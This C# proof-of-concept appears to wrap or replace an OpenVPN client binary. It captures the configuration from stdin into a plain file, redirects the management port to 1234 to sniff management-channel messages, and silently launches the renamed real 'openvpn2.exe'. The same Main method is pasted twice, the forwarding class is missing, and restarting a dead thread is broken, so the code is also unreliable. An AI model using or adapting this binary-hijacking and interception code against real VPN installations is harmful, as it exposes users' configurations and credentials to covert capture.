public static void Main(string[] args)
{
// OpenVPN Stdin & management port "sniffer"
string fileInName = "_PoC_ConfigFile.txt";
System.IO.StreamWriter fileIn = new System.IO.StreamWriter(fileInName);
int port = 0;
string s;
// Read stdin
while ((s = Console.ReadLine()) != null) // null = EOF
{
// replace management
if (s.StartsWith("management 127.0.0.1"))
{
//change management port to 1234 (default fixed)
fileIn.WriteLine("management 127.0.0.1 1234");
fileIn.Flush();
// Grab real management port
string[] managementrealport = s.Split(' ');
port = int.Parse(managementrealport[2]);
}
else
{
// Write config file
fileIn.WriteLine(s);
fileIn.Flush();
}
} // EOF
// close config file
fileIn.Close();
// Create Tread for TCP Port Forwading (sniff management message)
MyThreadHandle threadHandle = new MyThreadHandle(port);
Thread t = new Thread(new ThreadStart(threadHandle.ThreadLoop));
t.Start();
// real OpenVPN process
ProcessStartInfo processStartInfo;
Process process;
processStartInfo = new ProcessStartInfo();
processStartInfo.CreateNoWindow = false;
processStartInfo.UseShellExecute = true;
// paramettre pour openvpn2
processStartInfo.Arguments = "--config _PoC_ConfigFile.txt";
processStartInfo.FileName = "openvpn2.exe";
process = new Process();
process.StartInfo = processStartInfo;
process.EnableRaisingEvents = true;
// start process
process.Start();
// Wait before close
while (true)
{
if (process.HasExited == true)
{
t.Abort();
break;
}
// restart portforwarder if stop
if (t.IsAlive == false)
{
t.Start();
}
}
}
public static void Main(string[] args)
{
// OpenVPN Stdin & management port "sniffer"
string fileInName = "_PoC_ConfigFile.txt";
System.IO.StreamWriter fileIn = new System.IO.StreamWriter(fileInName);
int port = 0;
string s;
// Read stdin
while ((s = Console.ReadLine()) != null) // null = EOF
{
// replace management
if (s.StartsWith("management 127.0.0.1"))
{
//change management port to 1234 (default fixed)
fileIn.WriteLine("management 127.0.0.1 1234");
fileIn.Flush();
// Grab real management port
string[] managementrealport = s.Split(' ');
port = int.Parse(managementrealport[2]);
}
else
{
// Write config file
fileIn.WriteLine(s);
fileIn.Flush();
}
} // EOF
// close config file
fileIn.Close();
// Create Tread for TCP Port Forwading (sniff management message)
MyThreadHandle threadHandle = new MyThreadHandle(port);
Thread t = new Thread(new ThreadStart(threadHandle.ThreadLoop));
t.Start();
// real OpenVPN process
ProcessStartInfo processStartInfo;
Process process;
processStartInfo = new ProcessStartInfo();
processStartInfo.CreateNoWindow = false;
processStartInfo.UseShellExecute = true;
// paramettre pour openvpn2
processStartInfo.Arguments = "--config _PoC_ConfigFile.txt";
processStartInfo.FileName = "openvpn2.exe";
process = new Process();
process.StartInfo = processStartInfo;
process.EnableRaisingEvents = true;
// start process
process.Start();
// Wait before close
while (true){
if (process.HasExited == true){
t.Abort();
break;
}
// restart portforwarder if stop
if (t.IsAlive == false){
t.Start();
}
}
}
